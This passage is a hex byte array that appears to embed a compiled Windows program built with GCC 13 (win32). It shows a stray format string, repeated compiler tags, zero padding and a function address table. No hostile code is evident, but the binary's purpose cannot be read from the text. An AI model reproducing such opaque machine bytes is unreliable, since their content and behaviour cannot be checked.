69,0x65,0x6C,0x64,0x69,0x6E,0x67,0x20,0x74,0x68,0x65,0x20,0x76,0x61,0x6C,0x75,0x65,0x20,0x25,0x70,0x2E,0x0A,0x00,0x00,0x00,0x00,0x00,0x00,0x30,0x00,0xAE,0x68,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x50,0xF1,0xAD,0x68,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xA0,0x1E,0xAE,0x68,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xA0,0x1E,0xAE,0x68,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x17,0xAE,0x68,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xAD,0x68,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xD0,0x62,0xAE,0x68,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x24,0x00,0xAE,0x68,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xB0,0x62,0xAE,0x68,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xB8,0x62,0xAE,0x68,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x90,0xAE,0x68,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08,0x90,0xAE,0x68,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x90,0xAE,0x68,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x90,0xAE,0x68,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x0C,0x10,0x00,0x00,0x00,0x30,0x01,0x00,0x10,0x10,0x00,0x00,0xDF,0x11,0x00,0x00,0x04,0x30,0x01,0x00,0xE0,0x11,0x00,0x00,0x3C,0x13,0x00,0x00,0x1C,0x30,0x01,0x00,0x40,0x13,0x00,0x00,0x52,0x13,0x00,0x00,0x30,0x30,0x01,0x00,0x60,0x13,0x00,0x00,0x6F,0x13,0x00,0x00,0x34,0x30,0x01,0x00,0x70,0x13,0x00,0x00,0x7C,0x13,0x00,0x00,0x38,0x30,0x01,0x00,0x80,0x13,0x00,0x00,0x81,0x13,0x00,0x00,0x3C,0x30,0x01,0x00,0x90,0x13,0x00,0x00,0xF1,0x13,0x00,0x00,0x40,0x30,0x01,0x00,0xF1,0x13,0x00,0x00,0x42,0x16,0x00,0x00,0x4C,0x30,0x01,0x00,0x42,0x16,0x00,0x00,0x99,0x16,0x00,0x00,0x58,0x30,0x01,0x00,0x99,0x16,0x00,0x00,0x13,0x17,0x00,0x00,0x60,0x30,0x01,0x00,0x13,0x17,0x00,0x00,0x39,0x18,0x00,0x00,0x6C,0x30,0x01,0x00,0x39,0x18,0x00,0x00,0x0A,0x19,0x00,0x00,0x78,0x30,0x01,0x00,0x0A,0x19,0x00,0x00,0x33,0x1A,0x00,0x00,0x84,0x30,0x01,0x00,0x33,0x1A,0x00,0x00,0xED,0x1C,0x00,0x00,0x90,0x30,0x01,0x00,0xED,0x1C,0x00,0x00,0x4E,0x20,0x00,0x00,0x9C,0x30,0x01,0x00,0x4E,0x20,0x00,0x00,0xEB,0x20,0x00,0x00,0xA8,0x30,0x01,0x00,0xEB,0x20,0x00,0x00,0x90,0x21,0x00,0x00,0xB4,0x30,0x01,0x00,0x90,0x21,0x00,0x00,0xC5,0x21,0x00,0x00,0xC0,0x30,0x01,0x00,0xC5,0x21,0x00,0x00,0x3F,0x25,0x00,0x00,0xC8,0x30,0x01,0x00,0x3F,0x25,0x00,0x00,0x47,0x25,0x00,0x00,0xD4,0x30,0x01,0x00,0x47,0x25,0x00,0x00,0x50,0x25,0x00,0x00,0xD8,0x30,0x01,0x00,0x50,0x25,0x00,0x00,0x14,0x26,0x00,0x00,0xDC,0x30,0x01,0x00,0x14,0x26,0x00,0x00,0x0F,0x27,0x00,0x00,0xE8,0x30,0x01,0x00,0x0F,0x27,0x00,0x00,0x1C,0x27,0x00,0x00,0xF4,0x30,0x01,0x00,0x1C,0x27,0x00,0x00,0x95,0x2C,0x00,0x00,0xF8,0x30,0x01,0x00,0x95,0x2C,0x00,0x00,0x63,0x2D,0x00,0x00,0x08,0x31,0x01,0x00,0x63,0x2D,0x00,0x00,0x67,0x30,0x00,0x00,0x0C,0x31,0x01,0x00,0x67,0x30,0x00,0x00,0xA4,0x32,0x00,0x00,0x1C,0x31,0x01,0x00,0xB0,0x32,0x00,0x00,0x17,0x33,0x00,0x00,0x28,0x31,0x01,0x00,0x17,0x33,0x00,0x00,0xCB,0x33,0x00,0x00,0x34,0x31,0x01,0x00,0xCB,0x33,0x00,0x00,0xA2,0x34,0x00,0x00,0x40,0x31,0x01,0x00,0xA2,0x34,0x00,0x00,0x11,0x35,0x00,0x00,0x4C,0x31,0x01,0x00,0x11,0x35,0x00,0x00,0x82,0x36,0x00,0x00,0x50,0x31,0x01,0x00,0x82,0x36,0x00,0x00,0xAC,0x37,0x00,0x00,0x60,0x31,0x01,0x00,0xB0,0x37,0x00,0x00,0xF9,0x37,0x00,0x00,0x70,0x31,0x01,0x00,0xF9,0x37,0x00,0x00,0x51,0x39,0x00,0x00,0x7C,0x31,0x01,0x00,0x51,0x39,0x00,0x00,0x40,0x3A,0x00,0x00,0x88,0x31,0x01,0x00,0x40,0x3A,0x00,0x00,0xA5,0x3B,0x00,0x00,0x94,0x31,0x01,0x00,0xA5,0x3B,0x00,0x00,0xF7,0x3D,0x00,0x00,0xA0,0x31,0x01,0x00,0xF7,0x3D,0x00,0x00,0xE7,0x3E,0x00,0x00,0xAC,0x31,0x01,0x00,0xE7,0x3E,0x00,0x00,0x0A,0x46,0x00,0x00,0xB8,0x31,0x01,0x00,0x10,0x46,0x00,0x00,0xD3,0x46,0x00,0x00,0xC8,0x31,0x01,0x00,0xD3,0x46,0x00,0x00,0x5D,0x4A,0x00,0x00,0xD4,0x31,0x01,0x00,0x60,0x4A,0x00,0x00,0x82,0x4A,0x00,0x00,0xE0,0x31,0x01,0x00,0x82,0x4A,0x00,0x00,0x5F,0x4B,0x00,0x00,0xEC,0x31,0x01,0x00,0x5F,0x4B,0x00,0x00,0xEB,0x4B,0x00,0x00,0xF8,0x31,0x01,0x00,0xEB,0x4B,0x00,0x00,0x5D,0x4C,0x00,0x00,0x04,0x32,0x01,0x00,0x5D,0x4C,0x00,0x00,0xD7,0x4F,0x00,0x00,0x10,0x32,0x01,0x00,0xD7,0x4F,0x00,0x00,0x70,0x50,0x00,0x00,0x20,0x32,0x01,0x00,0x70,0x50,0x00,0x00,0x75,0x51,0x00,0x00,0x2C,0x32,0x01,0x00,0x75,0x51,0x00,0x00,0xB4,0x51,0x00,0x00,0x38,0x32,0x01,0x00,0xB4,0x51,0x00,0x00,0x1C,0x53,0x00,0x00,0x44,0x32,0x01,0x00,0x1C,0x53,0x00,0x00,0x1E,0x54,0x00,0x00,0x50,0x32,0x01,0x00,0x1E,0x54,0x00,0x00,0x13,0x55,0x00,0x00,0x5C,0x32,0x01,0x00,0x13,0x55,0x00,0x00,0xC2,0x56,0x00,0x00,0x6C,0x32,0x01,0x00,0xC2,0x56,0x00,0x00,0x5D,0x58,0x00,0x00,0x7C,0x32,0x01,0x00,0x5D,0x58,0x00,0x00,0xC4,0x58,0x00,0x00,0x8C,0x32,0x01,0x00,0xC4,0x58,0x00,0x00,0x92,0x59,0x00,0x00,0x98,0x32,0x01,0x00,0x92,0x59,0x00,0x00,0xF0,0x59,0x00,0x00,0xA4,0x32,0x01,0x00,0xF0,0x59,0x00,0x00,0xFF,0x59,0x00,0x00,0xB0,0x32,0x01,0x00,0xFF,0x59,0x00,0x00,0x6A,0x5A,0x00,0x00,0xB8,0x32,0x01,0x00,0x6A,0x5A,0x00,0x00,0xDB,0x5B,0x00,0x00,0xC4,0x32,0x01,0x00,0xDB,0x5B,0x00,0x00,0x19,0x5C,0x00,0x00,0xD0,0x32,0x01,0x00,0x19,0x5C,0x00,0x00,0x2B,0x5C,0x00,0x00,0xDC,0x32,0x01,0x00,0x2B,0x5C,0x00,0x00,0x38,0x5D,0x00,0x00,0xE4,0x32,0x01,0x00,0x38,0x5D,0x00,0x00,0x92,0x5D,0x00,0x00,0xF0,0x32,0x01,0x00,0x92,0x5D,0x00,0x00,0xF4,0x5D,0x00,0x00,0xFC,0x32,0x01,0x00,0xF4,0x5D,0x00,0x00,0x69,0x5F,0x00,0x00,0x08,0x33,0x01,0x00,0x69,0x5F,0x00,0x00,0xEB,0x5F,0x00,0x00,0x14,0x33,0x01,0x00,0xEB,0x5F,0x00,0x00,0x40,0x60,0x00,0x00,0x20,0x33,0x01,0x00,0x40,0x60,0x00,0x00,0xE8,0x60,0x00,0x00,0x2C,0x33,0x01,0x00,0xE8,0x60,0x00,0x00,0x72,0x61,0x00,0x00,0x38,0x33,0x01,0x00,0x72,0x61,0x00,0x00,0x1D,0x62,0x00,0x00,0x44,0x33,0x01,0x00,0x1D,0x62,0x00,0x00,0x96,0x63,0x00,0x00,0x50,0x33,0x01,0x00,0x96,0x63,0x00,0x00,0x75,0x65,0x00,0x00,0x60,0x33,0x01,0x00,0x75,0x65,0x00,0x00,0x17,0x67,0x00,0x00,0x6C,0x33,0x01,0x00,0x20,0x67,0x00,0x00,0x48,0x69,0x00,0x00,0x78,0x33,0x01,0x00,0x48,0x69,0x00,0x00,0x70,0x6B,0x00,0x00,0x84,0x33,0x01,0x00,0x70,0x6B,0x00,0x00,0x98,0x6D,0x00,0x00,0x90,0x33,0x01,0x00,0x98,0x6D,0x00,0x00,0x21,0x6E,0x00,0x00,0x9C,0x33,0x01,0x00,0x21,0x6E,0x00,0x00,0xAC,0x6E,0x00,0x00,0xA8,0x33,0x01,0x00,0xAC,0x6E,0x00,0x00,0xAC,0x6F,0x00,0x00,0xB4,0x33,0x01,0x00,0xAC,0x6F,0x00,0x00,0xF9,0x6F,0x00,0x00,0xC0,0x33,0x01,0x00,0xF9,0x6F,0x00,0x00,0x46,0x70,0x00,0x00,0xCC,0x33,0x01,0x00,0x46,0x70,0x00,0x00,0x93,0x70,0x00,0x00,0xD8,0x33,0x01,0x00,0x93,0x70,0x00,0x00,0xEF,0x72,0x00,0x00,0xE4,0x33,0x01,0x00,0xEF,0x72,0x00,0x00,0x7E,0x73,0x00,0x00,0xF0,0x33,0x01,0x00,0x7E,0x73,0x00,0x00,0xF0,0x73,0x00,0x00,0xFC,0x33,0x01,0x00,0xF0,0x73,0x00,0x00,0xB1,0x74,0x00,0x00,0x08,0x34,0x01,0x00,0xB1,0x74,0x00,0x00,0x4B,0x76,0x00,0x00,0x14,0x34,0x01,0x00,0x4B,0x76,0x00,0x00,0x94,0x76,0x00,0x00,0x20,0x34,0x01,0x00,0x94,0x76,0x00,0x00,0xDD,0x77,0x00,0x00,0x2C,0x34,0x01,0x00,0xDD,0x77,0x00,0x00,0xF2,0x78,0x00,0x00,0x38,0x34,0x01,0x00,0xF2,0x78,0x00,0x00,0x14,0x7A,0x00,0x00,0x44,0x34,0x01,0x00,0x14,0x7A,0x00,0x00,0xAE,0x7D,0x00,0x00,0x50,0x34,0x01,0x00,0xAE,0x7D,0x00,0x00,0x99,0x7E,0x00,0x00,0x60,0x34,0x01,0x00,0x99,0x7E,0x00,0x00,0x48,0x80,0x00,0x00,0x6C,0x34,0x01,0x00,0x48,0x80,0x00,0x00,0xE6,0x80,0x00,0x00,0x78,0x34,0x01,0x00,0xF0,0x80,0x00,0x00,0xDF,0x81,0x00,0x00,0x84,0x34,0x01,0x00,0xDF,0x81,0x00,0x00,0x21,0x82,0x00,0x00,0x90,0x34,0x01,0x00,0x21,0x82,0x00,0x00,0xAE,0x87,0x00,0x00,0x9C,0x34,0x01,0x00,0xAE,0x87,0x00,0x00,0x10,0x88,0x00,0x00,0xAC,0x34,0x01,0x00,0x10,0x88,0x00,0x00,0x76,0x8A,0x00,0x00,0xB8,0x34,0x01,0x00,0x76,0x8A,0x00,0x00,0xC7,0x8A,0x00,0x00,0xC4,0x34,0x01,0x00,0xC7,0x8A,0x00,0x00,0x01,0x8B,0x00,0x00,0xD0,0x34,0x01,0x00,0x01,0x8B,0x00,0x00,0x21,0x8D,0x00,0x00,0xDC,0x34,0x01,0x00,0x21,0x8D,0x00,0x00,0xD7,0x8D,0x00,0x00,0xE8,0x34,0x01,0x00,0xD7,0x8D,0x00,0x00,0x9E,0x8E,0x00,0x00,0xF4,0x34,0x01,0x00,0x9E,0x8E,0x00,0x00,0x90,0x8F,0x00,0x00,0x00,0x35,0x01,0x00,0x90,0x8F,0x00,0x00,0xF3,0x90,0x00,0x00,0x0C,0x35,0x01,0x00,0xF3,0x90,0x00,0x00,0x35,0x93,0x00,0x00,0x18,0x35,0x01,0x00,0x40,0x93,0x00,0x00,0xAA,0x93,0x00,0x00,0x28,0x35,0x01,0x00,0xAA,0x93,0x00,0x00,0x91,0x94,0x00,0x00,0x34,0x35,0x01,0x00,0x91,0x94,0x00,0x00,0x88,0x95,0x00,0x00,0x40,0x35,0x01,0x00,0x88,0x95,0x00,0x00,0x3B,0x96,0x00,0x00,0x4C,0x35,0x01,0x00,0x3B,0x96,0x00,0x00,0xB4,0x98,0x00,0x00,0x58,0x35,0x01,0x00,0xC0,0x98,0x00,0x00,0xC9,0x98,0x00,0x00,0x64,0x35,0x01,0x00,0xC9,0x98,0x00,0x00,0xE1,0x98,0x00,0x00,0x68,0x35,0x01,0x00,0xE1,0x98,0x00,0x00,0x1C,0x9A,0x00,0x00,0x74,0x35,0x01,0x00,0x1C,0x9A,0x00,0x00,0x7A,0x9A,0x00,0x00,0x80,0x35,0x01,0x00,0x7A,0x9A,0x00,0x00,0xBE,0x9E,0x00,0x00,0x8C,0x35,0x01,0x00,0xBE,0x9E,0x00,0x00,0x1A,0x9F,0x00,0x00,0x9C,0x35,0x01,0x00,0x1A,0x9F,0x00,0x00,0x88,0x9F,0x00,0x00,0xA8,0x35,0x01,0x00,0x88,0x9F,0x00,0x00,0x93,0x9F,0x00,0x00,0xB4,0x35,0x01,0x00,0x93,0x9F,0x00,0x00,0x9B,0x9F,0x00,0x00,0xB8,0x35,0x01,0x00,0x9B,0x9F,0x00,0x00,0xF5,0x9F,0x00,0x00,0xBC,0x35,0x01,0x00,0xF5,0x9F,0x00,0x00,0x4F,0xA0,0x00,0x00,0xC0,0x35,0x01,0x00,0x4F,0xA0,0x00,0x00,0xA6,0xA0,0x00,0x00,0xC4,0x35,0x01,0x00,0xA6,0xA0,0x00,0x00,0xFD,0xA0,0x00,0x00,0xC8,0x35,0x01,0x00,0xFD,0xA0,0x00,0x00,0x57,0xA1,0x00,0x00,0xCC,0x35,0x01,0x00,0x57,0xA1,0x00,0x00,0xB1,0xA1,0x00,0x00,0xD0,0x35,0x01,0x00,0xB1,0xA1,0x00,0x00,0x08,0xA2,0x00,0x00,0xD4,0x35,0x01,0x00,0x08,0xA2,0x00,0x00,0x5F,0xA2,0x00,0x00,0xD8,0x35,0x01,0x00,0x5F,0xA2,0x00,0x00,0xB6,0xA2,0x00,0x00,0xDC,0x35,0x01,0x00,0xB6,0xA2,0x00,0x00,0x0D,0xA3,0x00,0x00,0xE0,0x35,0x01,0x00,0x0D,0xA3,0x00,0x00,0x67,0xA3,0x00,0x00,0xE4,0x35,0x01,0x00,0x67,0xA3,0x00,0x00,0xBE,0xA3,0x00,0x00,0xE8,0x35,0x01,0x00,0xBE,0xA3,0x00,0x00,0x15,0xA4,0x00,0x00,0xEC,0x35,0x01,0x00,0x15,0xA4,0x00,0x00,0x6C,0xA4,0x00,0x00,0xF0,0x35,0x01,0x00,0x6C,0xA4,0x00,0x00,0xC6,0xA4,0x00,0x00,0xF4,0x35,0x01,0x00,0xC6,0xA4,0x00,0x00,0x1D,0xA5,0x00,0x00,0xF8,0x35,0x01,0x00,0x1D,0xA5,0x00,0x00,0x74,0xA5,0x00,0x00,0xFC,0x35,0x01,0x00,0x74,0xA5,0x00,0x00,0xCB,0xA5,0x00,0x00,0x00,0x36,0x01,0x00,0xCB,0xA5,0x00,0x00,0x22,0xA6,0x00,0x00,0x04,0x36,0x01,0x00,0x22,0xA6,0x00,0x00,0x79,0xA6,0x00,0x00,0x08,0x36,0x01,0x00,0x79,0xA6,0x00,0x00,0xD0,0xA6,0x00,0x00,0x0C,0x36,0x01,0x00,0xD0,0xA6,0x00,0x00,0x27,0xA7,0x00,0x00,0x10,0x36,0x01,0x00,0x27,0xA7,0x00,0x00,0x7E,0xA7,0x00,0x00,0x14,0x36,0x01,0x00,0x7E,0xA7,0x00,0x00,0xD8,0xA7,0x00,0x00,0x18,0x36,0x01,0x00,0xD8,0xA7,0x00,0x00,0x32,0xA8,0x00,0x00,0x1C,0x36,0x01,0x00,0x32,0xA8,0x00,0x00,0x8C,0xA8,0x00,0x00,0x20,0x36,0x01,0x00,0x8C,0xA8,0x00,0x00,0xE6,0xA8,0x00,0x00,0x24,0x36,0x01,0x00,0xE6,0xA8,0x00,0x00,0x40,0xA9,0x00,0x00,0x28,0x36,0x01,0x00,0x40,0xA9